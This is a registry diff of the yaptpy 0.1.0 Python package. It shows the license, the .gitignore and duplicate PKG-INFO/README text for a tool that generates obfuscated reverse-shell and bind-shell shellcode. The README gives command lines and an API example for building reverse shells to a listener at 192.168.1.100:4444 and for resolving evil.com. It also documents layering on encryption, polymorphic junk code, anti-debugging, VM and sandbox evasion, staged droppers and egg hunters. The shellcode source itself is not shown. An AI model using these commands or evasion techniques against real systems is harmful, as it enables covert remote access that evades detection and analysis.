yaptpy 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- yaptpy-0.1.0/.gitignore +26 -0
- yaptpy-0.1.0/LICENSE +21 -0
- yaptpy-0.1.0/PKG-INFO +318 -0
- yaptpy-0.1.0/README.md +281 -0
- yaptpy-0.1.0/pyproject.toml +92 -0
- yaptpy-0.1.0/src/yaptpy/__init__.py +2356 -0
- yaptpy-0.1.0/src/yaptpy/__main__.py +9 -0
- yaptpy-0.1.0/src/yaptpy/py.typed +0 -0
yaptpy-0.1.0/.gitignore
ADDED
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
__pycache__/
|
|
2
|
+
*.py[cod]
|
|
3
|
+
*.egg-info/
|
|
4
|
+
dist/
|
|
5
|
+
build/
|
|
6
|
+
.eggs/
|
|
7
|
+
*.egg
|
|
8
|
+
.env
|
|
9
|
+
.venv
|
|
10
|
+
venv/
|
|
11
|
+
env/
|
|
12
|
+
*.pyc
|
|
13
|
+
*.pyo
|
|
14
|
+
.pytest_cache/
|
|
15
|
+
.ruff_cache/
|
|
16
|
+
.mypy_cache/
|
|
17
|
+
htmlcov/
|
|
18
|
+
.coverage
|
|
19
|
+
.coverage.*
|
|
20
|
+
*.log
|
|
21
|
+
.DS_Store
|
|
22
|
+
.idea/
|
|
23
|
+
.vscode/
|
|
24
|
+
*.swp
|
|
25
|
+
*.swo
|
|
26
|
+
.hypothesis/
|
yaptpy-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Dario Clavijo
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
yaptpy-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,318 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: yaptpy
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: CLI tool that generates highly obfuscated x86_64 reverse shell shellcode with multiple evasion techniques
|
|
5
|
+
Project-URL: Homepage, https://github.com/daedalus/yaptpy
|
|
6
|
+
Project-URL: Repository, https://github.com/daedalus/yaptpy
|
|
7
|
+
Project-URL: Issues, https://github.com/daedalus/yaptpy/issues
|
|
8
|
+
Author-email: Dario Clavijo <clavijodario@gmail.com>
|
|
9
|
+
License: MIT
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Requires-Python: >=3.11
|
|
12
|
+
Requires-Dist: cryptography
|
|
13
|
+
Requires-Dist: pwntools
|
|
14
|
+
Provides-Extra: all
|
|
15
|
+
Requires-Dist: hatch; extra == 'all'
|
|
16
|
+
Requires-Dist: hypothesis; extra == 'all'
|
|
17
|
+
Requires-Dist: mypy; extra == 'all'
|
|
18
|
+
Requires-Dist: pytest; extra == 'all'
|
|
19
|
+
Requires-Dist: pytest-asyncio; extra == 'all'
|
|
20
|
+
Requires-Dist: pytest-cov; extra == 'all'
|
|
21
|
+
Requires-Dist: pytest-mock; extra == 'all'
|
|
22
|
+
Requires-Dist: ruff; extra == 'all'
|
|
23
|
+
Provides-Extra: dev
|
|
24
|
+
Requires-Dist: hatch; extra == 'dev'
|
|
25
|
+
Requires-Dist: mypy; extra == 'dev'
|
|
26
|
+
Requires-Dist: ruff; extra == 'dev'
|
|
27
|
+
Provides-Extra: lint
|
|
28
|
+
Requires-Dist: mypy; extra == 'lint'
|
|
29
|
+
Requires-Dist: ruff; extra == 'lint'
|
|
30
|
+
Provides-Extra: test
|
|
31
|
+
Requires-Dist: hypothesis; extra == 'test'
|
|
32
|
+
Requires-Dist: pytest; extra == 'test'
|
|
33
|
+
Requires-Dist: pytest-asyncio; extra == 'test'
|
|
34
|
+
Requires-Dist: pytest-cov; extra == 'test'
|
|
35
|
+
Requires-Dist: pytest-mock; extra == 'test'
|
|
36
|
+
Description-Content-Type: text/markdown
|
|
37
|
+
|
|
38
|
+
# yaptpy
|
|
39
|
+
|
|
40
|
+
> CLI tool that generates highly obfuscated x86_64/ARM64 reverse shell shellcode with multiple evasion techniques
|
|
41
|
+
|
|
42
|
+
[](https://pypi.org/project/yaptpy/)
|
|
43
|
+
[](https://pypi.org/project/yaptpy/)
|
|
44
|
+
[](https://codecov.io/gh/daedalus/yaptpy)
|
|
45
|
+
[](https://github.com/astral-sh/ruff)
|
|
46
|
+
|
|
47
|
+
## Architecture Support
|
|
48
|
+
- x86_64 (amd64) - Default
|
|
49
|
+
- ARM64 (aarch64) - With reverse shell and bind shell support
|
|
50
|
+
|
|
51
|
+
## Install
|
|
52
|
+
|
|
53
|
+
```bash
|
|
54
|
+
pip install yaptpy
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
## Usage
|
|
58
|
+
|
|
59
|
+
```python
|
|
60
|
+
from yaptpy import generate_payload
|
|
61
|
+
|
|
62
|
+
# Generate basic reverse shell shellcode
|
|
63
|
+
shellcode = generate_payload(
|
|
64
|
+
ip="192.168.1.100",
|
|
65
|
+
port=4444,
|
|
66
|
+
executable_path="/bin/sh",
|
|
67
|
+
junk=True,
|
|
68
|
+
anti_emulation=False,
|
|
69
|
+
stack_pivot=False,
|
|
70
|
+
obfuscate_path=False,
|
|
71
|
+
anti_debug=False,
|
|
72
|
+
indirect_syscalls=False,
|
|
73
|
+
)
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
## CLI
|
|
77
|
+
|
|
78
|
+
```bash
|
|
79
|
+
yaptpy --help
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
Basic reverse shell:
|
|
83
|
+
```bash
|
|
84
|
+
yaptpy --ip 192.168.1.100 --port 4444
|
|
85
|
+
```
|
|
86
|
+
|
|
87
|
+
### ARM64 (aarch64)
|
|
88
|
+
```bash
|
|
89
|
+
# ARM64 reverse shell
|
|
90
|
+
yaptpy --arch arm64 --ip 192.168.1.100 --port 4444
|
|
91
|
+
|
|
92
|
+
# ARM64 bind shell
|
|
93
|
+
yaptpy --arch arm64 --bind --port 4444
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
Obfuscated version with multiple techniques:
|
|
97
|
+
```bash
|
|
98
|
+
yaptpy --ip 192.168.1.100 --port 4444 --junk --obfuscate-path --anti-debug --rle --xor-key 0xAA
|
|
99
|
+
```
|
|
100
|
+
|
|
101
|
+
## Payload Types
|
|
102
|
+
|
|
103
|
+
### Reverse Shell (default)
|
|
104
|
+
```bash
|
|
105
|
+
yaptpy --ip 192.168.1.100 --port 4444
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### Bind Shell
|
|
109
|
+
```bash
|
|
110
|
+
yaptpy --bind --port 4444 --bind-addr 0.0.0.0
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### IPv6
|
|
114
|
+
```bash
|
|
115
|
+
yaptpy --ip 2001:db8::1 --port 4444 --ipv6
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### DNS Resolution
|
|
119
|
+
```bash
|
|
120
|
+
yaptpy --dns --domain evil.com
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
## Evasion Techniques
|
|
124
|
+
|
|
125
|
+
### Encryption
|
|
126
|
+
```bash
|
|
127
|
+
# XOR encryption
|
|
128
|
+
yaptpy --ip 192.168.1.100 --port 4444 --xor-key 0xAA
|
|
129
|
+
|
|
130
|
+
# Rolling XOR encryption
|
|
131
|
+
yaptpy --ip 192.168.1.100 --port 4444 --rolling-xor-key 0x42
|
|
132
|
+
|
|
133
|
+
# AES-256 encryption
|
|
134
|
+
yaptpy --ip 192.168.1.100 --port 4444 --aes-key 0123456789abcdef0123456789abcdef
|
|
135
|
+
|
|
136
|
+
# RC4 encryption
|
|
137
|
+
yaptpy --ip 192.168.1.100 --port 4444 --rc4-key deadbeef
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
### Encoding
|
|
141
|
+
```bash
|
|
142
|
+
# Base64 encoding
|
|
143
|
+
yaptpy --ip 192.168.1.100 --port 4444 --base64
|
|
144
|
+
|
|
145
|
+
# Base32 encoding
|
|
146
|
+
yaptpy --ip 192.168.1.100 --port 4444 --base32
|
|
147
|
+
|
|
148
|
+
# RLE encoding
|
|
149
|
+
yaptpy --ip 192.168.1.100 --port 4444 --rle
|
|
150
|
+
|
|
151
|
+
# LZ77 compression
|
|
152
|
+
yaptpy --ip 192.168.1.100 --port 4444 --lz77
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
### Obfuscation
|
|
156
|
+
```bash
|
|
157
|
+
# Polymorphic junk code
|
|
158
|
+
yaptpy --ip 192.168.1.100 --port 4444 --junk
|
|
159
|
+
|
|
160
|
+
# Enhanced polymorphic engine
|
|
161
|
+
yaptpy --ip 192.168.1.100 --port 4444 --polymorphic
|
|
162
|
+
|
|
163
|
+
# Obfuscate executable path
|
|
164
|
+
yaptpy --ip 192.168.1.100 --port 4444 --obfuscate-path
|
|
165
|
+
|
|
166
|
+
# Indirect syscalls
|
|
167
|
+
yaptpy --ip 192.168.1.100 --port 4444 --indirect-syscalls
|
|
168
|
+
|
|
169
|
+
# Stack pivot
|
|
170
|
+
yaptpy --ip 192.168.1.100 --port 4444 --stack-pivot
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### Anti-Analysis
|
|
174
|
+
```bash
|
|
175
|
+
# Anti-debugging (ptrace)
|
|
176
|
+
yaptpy --ip 192.168.1.100 --port 4444 --anti-debug
|
|
177
|
+
|
|
178
|
+
# Anti-emulation (rdtsc/cpuid)
|
|
179
|
+
yaptpy --ip 192.168.1.100 --port 4444 --anti-emulation
|
|
180
|
+
|
|
181
|
+
# VM/hypervisor detection
|
|
182
|
+
yaptpy --ip 192.168.1.100 --port 4444 --vm-detect
|
|
183
|
+
|
|
184
|
+
# Parent process check
|
|
185
|
+
yaptpy --ip 192.168.1.100 --port 4444 --parent-check
|
|
186
|
+
|
|
187
|
+
# Sleep evasion (sandbox bypass)
|
|
188
|
+
yaptpy --ip 192.168.1.100 --port 4444 --sleep 60
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
### Advanced Payloads
|
|
192
|
+
```bash
|
|
193
|
+
# Egg hunter
|
|
194
|
+
yaptpy --egg-hunter --egg deadbeef
|
|
195
|
+
|
|
196
|
+
# Staged payload (dropper)
|
|
197
|
+
yaptpy --ip 192.168.1.100 --port 4444 --staged
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
## API
|
|
201
|
+
|
|
202
|
+
### Payload Generation
|
|
203
|
+
|
|
204
|
+
#### `generate_payload(...) -> bytes`
|
|
205
|
+
Generates core reverse shell payload with optional features.
|
|
206
|
+
|
|
207
|
+
#### `egg_hunter(egg: bytes) -> bytes`
|
|
208
|
+
Generates egg hunter shellcode.
|
|
209
|
+
|
|
210
|
+
#### `generate_bind_shell(port: int, bind_addr: str) -> bytes`
|
|
211
|
+
Generates bind shell shellcode.
|
|
212
|
+
|
|
213
|
+
#### `generate_ipv6_reverse_shell(ipv6_addr: str, port: int) -> bytes`
|
|
214
|
+
Generates IPv6 reverse shell shellcode.
|
|
215
|
+
|
|
216
|
+
#### `generate_dns_resolve(domain: str) -> bytes`
|
|
217
|
+
Generates DNS resolution payload.
|
|
218
|
+
|
|
219
|
+
#### `generate_staged_payload(stage1_size: int) -> tuple[bytes, bytes]`
|
|
220
|
+
Generates staged payload (stage1 and stage2).
|
|
221
|
+
|
|
222
|
+
### Encryption Functions
|
|
223
|
+
|
|
224
|
+
#### `xor_encrypt(data: bytes, key: int) -> bytes`
|
|
225
|
+
Encrypts data using simple byte-wise XOR.
|
|
226
|
+
|
|
227
|
+
#### `rolling_xor_encrypt(data: bytes, key: int) -> bytes`
|
|
228
|
+
Encrypts data using rolling XOR (key increments).
|
|
229
|
+
|
|
230
|
+
#### `base64_encode(data: bytes) -> bytes`
|
|
231
|
+
Encodes data using Base64.
|
|
232
|
+
|
|
233
|
+
#### `base32_encode(data: bytes) -> bytes`
|
|
234
|
+
Encodes data using Base32.
|
|
235
|
+
|
|
236
|
+
#### `aes_encrypt(data: bytes, key: bytes) -> bytes`
|
|
237
|
+
Encrypts data using AES-CBC.
|
|
238
|
+
|
|
239
|
+
#### `rc4_encrypt(data: bytes, key: bytes) -> bytes`
|
|
240
|
+
Encrypts data using RC4 stream cipher.
|
|
241
|
+
|
|
242
|
+
#### `lz77_encode(data: bytes, window_size: int, min_match: int, max_match: int) -> bytes`
|
|
243
|
+
Encodes data using LZ77 compression.
|
|
244
|
+
|
|
245
|
+
#### `lz77_decode(data: bytes) -> bytes`
|
|
246
|
+
Decodes LZ77 compressed data.
|
|
247
|
+
|
|
248
|
+
#### `lz77_decoder_stub(original_size: int) -> bytes`
|
|
249
|
+
Generates LZ77 decompression stub.
|
|
250
|
+
|
|
251
|
+
### Evasion Functions
|
|
252
|
+
|
|
253
|
+
#### `generate_sleep_evasion(sleep_seconds: int) -> bytes`
|
|
254
|
+
Generates sleep evasion code for sandbox bypass.
|
|
255
|
+
|
|
256
|
+
#### `generate_vm_detection() -> bytes`
|
|
257
|
+
Generates VM/hypervisor detection code.
|
|
258
|
+
|
|
259
|
+
#### `generate_parent_check() -> bytes`
|
|
260
|
+
Generates parent process check code.
|
|
261
|
+
|
|
262
|
+
### Obfuscation Functions
|
|
263
|
+
|
|
264
|
+
#### `substitute_instructions(asm_code: str) -> str`
|
|
265
|
+
Applies instruction substitution obfuscation.
|
|
266
|
+
|
|
267
|
+
#### `transposed_code(asm_lines: list[str]) -> list[str]`
|
|
268
|
+
Applies code transposition obfuscation.
|
|
269
|
+
|
|
270
|
+
#### `call_preceded_obfuscation(syscall_num: int) -> bytes`
|
|
271
|
+
Applies call-preceded syscall obfuscation.
|
|
272
|
+
|
|
273
|
+
#### `syscall_splitting(syscall_num: int) -> bytes`
|
|
274
|
+
Applies syscall splitting obfuscation.
|
|
275
|
+
|
|
276
|
+
#### `enhanced_polymorphic_engine(shellcode: bytes, junk_ratio: float) -> bytes`
|
|
277
|
+
Applies enhanced polymorphic obfuscation to shellcode.
|
|
278
|
+
|
|
279
|
+
### Utility Functions
|
|
280
|
+
|
|
281
|
+
#### `api_hash(syscall_name: str) -> int`
|
|
282
|
+
Computes API hash for syscall resolution.
|
|
283
|
+
|
|
284
|
+
#### `generate_polymorphic_junk() -> bytes`
|
|
285
|
+
Generates random non-functional assembly instructions.
|
|
286
|
+
|
|
287
|
+
#### `remove_comments_from_assembly(assembly_code: str) -> str`
|
|
288
|
+
Removes comments from assembly code.
|
|
289
|
+
|
|
290
|
+
#### `rle_decoder_stub(original_size: int) -> bytes`
|
|
291
|
+
Generates RLE decoder stub.
|
|
292
|
+
|
|
293
|
+
#### `rolling_xor_decoder_stub(original_size: int, start_key: int) -> bytes`
|
|
294
|
+
Generates rolling XOR decoder stub.
|
|
295
|
+
|
|
296
|
+
## Development
|
|
297
|
+
|
|
298
|
+
```bash
|
|
299
|
+
git clone https://github.com/daedalus/yaptpy.git
|
|
300
|
+
cd yaptpy
|
|
301
|
+
pip install -e ".[test]"
|
|
302
|
+
|
|
303
|
+
# run tests
|
|
304
|
+
pytest
|
|
305
|
+
|
|
306
|
+
# format
|
|
307
|
+
ruff format src/ tests/
|
|
308
|
+
|
|
309
|
+
# lint
|
|
310
|
+
ruff check src/ tests/
|
|
311
|
+
|
|
312
|
+
# type check
|
|
313
|
+
mypy src/
|
|
314
|
+
```
|
|
315
|
+
|
|
316
|
+
## License
|
|
317
|
+
|
|
318
|
+
MIT
|
yaptpy-0.1.0/README.md
ADDED
|
@@ -0,0 +1,281 @@
|
|
|
1
|
+
# yaptpy
|
|
2
|
+
|
|
3
|
+
> CLI tool that generates highly obfuscated x86_64/ARM64 reverse shell shellcode with multiple evasion techniques
|
|
4
|
+
|
|
5
|
+
[](https://pypi.org/project/yaptpy/)
|
|
6
|
+
[](https://pypi.org/project/yaptpy/)
|
|
7
|
+
[](https://codecov.io/gh/daedalus/yaptpy)
|
|
8
|
+
[](https://github.com/astral-sh/ruff)
|
|
9
|
+
|
|
10
|
+
## Architecture Support
|
|
11
|
+
- x86_64 (amd64) - Default
|
|
12
|
+
- ARM64 (aarch64) - With reverse shell and bind shell support
|
|
13
|
+
|
|
14
|
+
## Install
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
pip install yaptpy
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Usage
|
|
21
|
+
|
|
22
|
+
```python
|
|
23
|
+
from yaptpy import generate_payload
|
|
24
|
+
|
|
25
|
+
# Generate basic reverse shell shellcode
|
|
26
|
+
shellcode = generate_payload(
|
|
27
|
+
ip="192.168.1.100",
|
|
28
|
+
port=4444,
|
|
29
|
+
executable_path="/bin/sh",
|
|
30
|
+
junk=True,
|
|
31
|
+
anti_emulation=False,
|
|
32
|
+
stack_pivot=False,
|
|
33
|
+
obfuscate_path=False,
|
|
34
|
+
anti_debug=False,
|
|
35
|
+
indirect_syscalls=False,
|
|
36
|
+
)
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
## CLI
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
yaptpy --help
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
Basic reverse shell:
|
|
46
|
+
```bash
|
|
47
|
+
yaptpy --ip 192.168.1.100 --port 4444
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### ARM64 (aarch64)
|
|
51
|
+
```bash
|
|
52
|
+
# ARM64 reverse shell
|
|
53
|
+
yaptpy --arch arm64 --ip 192.168.1.100 --port 4444
|
|
54
|
+
|
|
55
|
+
# ARM64 bind shell
|
|
56
|
+
yaptpy --arch arm64 --bind --port 4444
|
|
57
|
+
```
|
|
58
|
+
|
|
59
|
+
Obfuscated version with multiple techniques:
|
|
60
|
+
```bash
|
|
61
|
+
yaptpy --ip 192.168.1.100 --port 4444 --junk --obfuscate-path --anti-debug --rle --xor-key 0xAA
|
|
62
|
+
```
|
|
63
|
+
|
|
64
|
+
## Payload Types
|
|
65
|
+
|
|
66
|
+
### Reverse Shell (default)
|
|
67
|
+
```bash
|
|
68
|
+
yaptpy --ip 192.168.1.100 --port 4444
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Bind Shell
|
|
72
|
+
```bash
|
|
73
|
+
yaptpy --bind --port 4444 --bind-addr 0.0.0.0
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
### IPv6
|
|
77
|
+
```bash
|
|
78
|
+
yaptpy --ip 2001:db8::1 --port 4444 --ipv6
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### DNS Resolution
|
|
82
|
+
```bash
|
|
83
|
+
yaptpy --dns --domain evil.com
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
## Evasion Techniques
|
|
87
|
+
|
|
88
|
+
### Encryption
|
|
89
|
+
```bash
|
|
90
|
+
# XOR encryption
|
|
91
|
+
yaptpy --ip 192.168.1.100 --port 4444 --xor-key 0xAA
|
|
92
|
+
|
|
93
|
+
# Rolling XOR encryption
|
|
94
|
+
yaptpy --ip 192.168.1.100 --port 4444 --rolling-xor-key 0x42
|
|
95
|
+
|
|
96
|
+
# AES-256 encryption
|
|
97
|
+
yaptpy --ip 192.168.1.100 --port 4444 --aes-key 0123456789abcdef0123456789abcdef
|
|
98
|
+
|
|
99
|
+
# RC4 encryption
|
|
100
|
+
yaptpy --ip 192.168.1.100 --port 4444 --rc4-key deadbeef
|
|
101
|
+
```
|
|
102
|
+
|
|
103
|
+
### Encoding
|
|
104
|
+
```bash
|
|
105
|
+
# Base64 encoding
|
|
106
|
+
yaptpy --ip 192.168.1.100 --port 4444 --base64
|
|
107
|
+
|
|
108
|
+
# Base32 encoding
|
|
109
|
+
yaptpy --ip 192.168.1.100 --port 4444 --base32
|
|
110
|
+
|
|
111
|
+
# RLE encoding
|
|
112
|
+
yaptpy --ip 192.168.1.100 --port 4444 --rle
|
|
113
|
+
|
|
114
|
+
# LZ77 compression
|
|
115
|
+
yaptpy --ip 192.168.1.100 --port 4444 --lz77
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### Obfuscation
|
|
119
|
+
```bash
|
|
120
|
+
# Polymorphic junk code
|
|
121
|
+
yaptpy --ip 192.168.1.100 --port 4444 --junk
|
|
122
|
+
|
|
123
|
+
# Enhanced polymorphic engine
|
|
124
|
+
yaptpy --ip 192.168.1.100 --port 4444 --polymorphic
|
|
125
|
+
|
|
126
|
+
# Obfuscate executable path
|
|
127
|
+
yaptpy --ip 192.168.1.100 --port 4444 --obfuscate-path
|
|
128
|
+
|
|
129
|
+
# Indirect syscalls
|
|
130
|
+
yaptpy --ip 192.168.1.100 --port 4444 --indirect-syscalls
|
|
131
|
+
|
|
132
|
+
# Stack pivot
|
|
133
|
+
yaptpy --ip 192.168.1.100 --port 4444 --stack-pivot
|
|
134
|
+
```
|
|
135
|
+
|
|
136
|
+
### Anti-Analysis
|
|
137
|
+
```bash
|
|
138
|
+
# Anti-debugging (ptrace)
|
|
139
|
+
yaptpy --ip 192.168.1.100 --port 4444 --anti-debug
|
|
140
|
+
|
|
141
|
+
# Anti-emulation (rdtsc/cpuid)
|
|
142
|
+
yaptpy --ip 192.168.1.100 --port 4444 --anti-emulation
|
|
143
|
+
|
|
144
|
+
# VM/hypervisor detection
|
|
145
|
+
yaptpy --ip 192.168.1.100 --port 4444 --vm-detect
|
|
146
|
+
|
|
147
|
+
# Parent process check
|
|
148
|
+
yaptpy --ip 192.168.1.100 --port 4444 --parent-check
|
|
149
|
+
|
|
150
|
+
# Sleep evasion (sandbox bypass)
|
|
151
|
+
yaptpy --ip 192.168.1.100 --port 4444 --sleep 60
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
### Advanced Payloads
|
|
155
|
+
```bash
|
|
156
|
+
# Egg hunter
|
|
157
|
+
yaptpy --egg-hunter --egg deadbeef
|
|
158
|
+
|
|
159
|
+
# Staged payload (dropper)
|
|
160
|
+
yaptpy --ip 192.168.1.100 --port 4444 --staged
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
## API
|
|
164
|
+
|
|
165
|
+
### Payload Generation
|
|
166
|
+
|
|
167
|
+
#### `generate_payload(...) -> bytes`
|
|
168
|
+
Generates core reverse shell payload with optional features.
|
|
169
|
+
|
|
170
|
+
#### `egg_hunter(egg: bytes) -> bytes`
|
|
171
|
+
Generates egg hunter shellcode.
|
|
172
|
+
|
|
173
|
+
#### `generate_bind_shell(port: int, bind_addr: str) -> bytes`
|
|
174
|
+
Generates bind shell shellcode.
|
|
175
|
+
|
|
176
|
+
#### `generate_ipv6_reverse_shell(ipv6_addr: str, port: int) -> bytes`
|
|
177
|
+
Generates IPv6 reverse shell shellcode.
|
|
178
|
+
|
|
179
|
+
#### `generate_dns_resolve(domain: str) -> bytes`
|
|
180
|
+
Generates DNS resolution payload.
|
|
181
|
+
|
|
182
|
+
#### `generate_staged_payload(stage1_size: int) -> tuple[bytes, bytes]`
|
|
183
|
+
Generates staged payload (stage1 and stage2).
|
|
184
|
+
|
|
185
|
+
### Encryption Functions
|
|
186
|
+
|
|
187
|
+
#### `xor_encrypt(data: bytes, key: int) -> bytes`
|
|
188
|
+
Encrypts data using simple byte-wise XOR.
|
|
189
|
+
|
|
190
|
+
#### `rolling_xor_encrypt(data: bytes, key: int) -> bytes`
|
|
191
|
+
Encrypts data using rolling XOR (key increments).
|
|
192
|
+
|
|
193
|
+
#### `base64_encode(data: bytes) -> bytes`
|
|
194
|
+
Encodes data using Base64.
|
|
195
|
+
|
|
196
|
+
#### `base32_encode(data: bytes) -> bytes`
|
|
197
|
+
Encodes data using Base32.
|
|
198
|
+
|
|
199
|
+
#### `aes_encrypt(data: bytes, key: bytes) -> bytes`
|
|
200
|
+
Encrypts data using AES-CBC.
|
|
201
|
+
|
|
202
|
+
#### `rc4_encrypt(data: bytes, key: bytes) -> bytes`
|
|
203
|
+
Encrypts data using RC4 stream cipher.
|
|
204
|
+
|
|
205
|
+
#### `lz77_encode(data: bytes, window_size: int, min_match: int, max_match: int) -> bytes`
|
|
206
|
+
Encodes data using LZ77 compression.
|
|
207
|
+
|
|
208
|
+
#### `lz77_decode(data: bytes) -> bytes`
|
|
209
|
+
Decodes LZ77 compressed data.
|
|
210
|
+
|
|
211
|
+
#### `lz77_decoder_stub(original_size: int) -> bytes`
|
|
212
|
+
Generates LZ77 decompression stub.
|
|
213
|
+
|
|
214
|
+
### Evasion Functions
|
|
215
|
+
|
|
216
|
+
#### `generate_sleep_evasion(sleep_seconds: int) -> bytes`
|
|
217
|
+
Generates sleep evasion code for sandbox bypass.
|
|
218
|
+
|
|
219
|
+
#### `generate_vm_detection() -> bytes`
|
|
220
|
+
Generates VM/hypervisor detection code.
|
|
221
|
+
|
|
222
|
+
#### `generate_parent_check() -> bytes`
|
|
223
|
+
Generates parent process check code.
|
|
224
|
+
|
|
225
|
+
### Obfuscation Functions
|
|
226
|
+
|
|
227
|
+
#### `substitute_instructions(asm_code: str) -> str`
|
|
228
|
+
Applies instruction substitution obfuscation.
|
|
229
|
+
|
|
230
|
+
#### `transposed_code(asm_lines: list[str]) -> list[str]`
|
|
231
|
+
Applies code transposition obfuscation.
|
|
232
|
+
|
|
233
|
+
#### `call_preceded_obfuscation(syscall_num: int) -> bytes`
|
|
234
|
+
Applies call-preceded syscall obfuscation.
|
|
235
|
+
|
|
236
|
+
#### `syscall_splitting(syscall_num: int) -> bytes`
|
|
237
|
+
Applies syscall splitting obfuscation.
|
|
238
|
+
|
|
239
|
+
#### `enhanced_polymorphic_engine(shellcode: bytes, junk_ratio: float) -> bytes`
|
|
240
|
+
Applies enhanced polymorphic obfuscation to shellcode.
|
|
241
|
+
|
|
242
|
+
### Utility Functions
|
|
243
|
+
|
|
244
|
+
#### `api_hash(syscall_name: str) -> int`
|
|
245
|
+
Computes API hash for syscall resolution.
|
|
246
|
+
|
|
247
|
+
#### `generate_polymorphic_junk() -> bytes`
|
|
248
|
+
Generates random non-functional assembly instructions.
|
|
249
|
+
|
|
250
|
+
#### `remove_comments_from_assembly(assembly_code: str) -> str`
|
|
251
|
+
Removes comments from assembly code.
|
|
252
|
+
|
|
253
|
+
#### `rle_decoder_stub(original_size: int) -> bytes`
|
|
254
|
+
Generates RLE decoder stub.
|
|
255
|
+
|
|
256
|
+
#### `rolling_xor_decoder_stub(original_size: int, start_key: int) -> bytes`
|
|
257
|
+
Generates rolling XOR decoder stub.
|
|
258
|
+
|
|
259
|
+
## Development
|
|
260
|
+
|
|
261
|
+
```bash
|
|
262
|
+
git clone https://github.com/daedalus/yaptpy.git
|
|
263
|
+
cd yaptpy
|
|
264
|
+
pip install -e ".[test]"
|
|
265
|
+
|
|
266
|
+
# run tests
|
|
267
|
+
pytest
|
|
268
|
+
|
|
269
|
+
# format
|
|
270
|
+
ruff format src/ tests/
|
|
271
|
+
|
|
272
|
+
# lint
|
|
273
|
+
ruff check src/ tests/
|
|
274
|
+
|
|
275
|
+
# type check
|
|
276
|
+
mypy src/
|
|
277
|
+
```
|
|
278
|
+
|
|
279
|
+
## License
|
|
280
|
+
|
|
281
|
+
MIT
|